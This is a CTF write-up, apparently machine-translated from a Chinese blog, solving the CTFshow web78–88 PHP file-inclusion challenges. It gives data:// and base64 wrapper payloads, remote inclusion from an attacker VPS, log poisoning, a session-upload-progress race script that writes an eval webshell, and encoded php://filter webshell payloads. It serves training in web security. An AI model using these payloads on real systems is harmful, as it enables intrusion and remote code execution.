CTFshow-WEBエントリ-ファイルが含まれています(継続的な更新)

web78

?file=data://text/plain,<?php system("cat flag.php");?>

または、疑似プロトコルの読み取りも機能します。

web79

?file=data://text/plain,<?= system("cat flag*");?>

または

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

data://をデータに置き換えることができる場所:

web80

方法1:リモートファイルインクルード

VPSの下に馬を書き、リモートで含めます。

?file=http://118.***.***.***/1.txt

方法2:ログファイルに含まれるもの

?file=/var/log/nginx/access.log

ここに画像の説明を挿入
したがって、UAヘッダーにhorseを書き込むだけです。nginxとapacheを含むログファイルもテストポイントです。

web81

方法はweb80と同じですが、コロンがフィルタリングされているため、リモートインクルードは使用できず、ログファイルをインクルードできます。

web82

新しい姿勢で、セッションファイルのインクルードと条件付き競合にPHP_SESSION_UPLOAD_PROGRESSを使用して、学んだこと、非常に興味深い穴を学びました。
参照リンク:
ファイルインクルードと逆シリアル化の浸透にはsession.upload_progressを使用します

このコードを使用して、パケットをアップロードおよびキャプチャします。


<!DOCTYPE html>
<html>
<body>
<form action="" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>

実行するコマンドはPHP_SESSION_UPLOAD_PROGRESSで記述されています。
ここに画像の説明を挿入
次に、bp非パラメーターループ要求を開始し、PHPSESSIDの変更に注意してください。
一方、同じ条件付き競争には、対応するセッションファイルが含まれます
ここに画像の説明を挿入
。条件付き競争を通じてフラグを取得できます。

POST / HTTP/1.1
Host: 110205c4-0a4a-467e-82e9-ded805f240cc.chall.ctf.show
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://110205c4-0a4a-467e-82e9-ded805f240cc.chall.ctf.show/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Cookie: PHPSESSID=feng
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvGEmmKnnXVzQVMQB
Content-Length: 317

------WebKitFormBoundaryvGEmmKnnXVzQVMQB
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

<?php system("cat fl0g.php");?>
------WebKitFormBoundaryvGEmmKnnXVzQVMQB
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/plain

111
------WebKitFormBoundaryvGEmmKnnXVzQVMQB--

web83

上記と同じ、スクリプト:

import io
import sys
import requests
import threading

host = 'http://0df0bded-da5c-4bcc-92bd-e871bb1427a5.chall.ctf.show/'
sessid = 'vrhtvjd4j1sd88onr92fm9t2sj'

def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            host,
            data={
    
    "PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat *');fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');echo md5('1');?>"},
            files={
    
    "file":('a.txt', f)},
            cookies={
    
    'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        response = session.get(f'{host}?file=/tmp/sess_{sessid}')
        # print(response.text)
        if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)


with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()
    READ(session)

web84

同上

web85

同上

web86

同上

web87

参考記事:
php:// filterの魔法の使い方について話す

file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2577%2572%2569%2574%2565%253d%2563%256f%256e%2576%2565%2572%2574%252e%2562%2561%2573%2565%2536%2534%252d%2564%2565%2563%256f%2564%2565%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%2531%252e%2570%2568%2570

content=aaPD9waHAgZXZhbCgkX1BPU1RbMF0pOz8%2B

ファイルはphp://filter/write=convert.base64-decode/resource=1.php、コンテンツはaを埋めるために使用される最初の2つを削除し、次にbase64復号化は<?php eval($_POST[0]);?>

web88

後ろを学び、前を忘れてください。データプロトコルもbase64エンコーディングでバイパスできることを忘れました。これはばかげています。
phpのみがフィルタリングされるため、データプロトコルを使用してバイパスし、base64エンコーディングを使用してバイパスできます。

?file=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMF0pOw

base64暗号化の元の結果はPD9waHAgZXZhbCgkX1BPU1RbMF0pOw==ですが、=がフィルタリングされているため、塗りつぶしに使用された=を削除するだけで十分です。

おすすめ

転載: blog.csdn.net/rfrder/article/details/112864247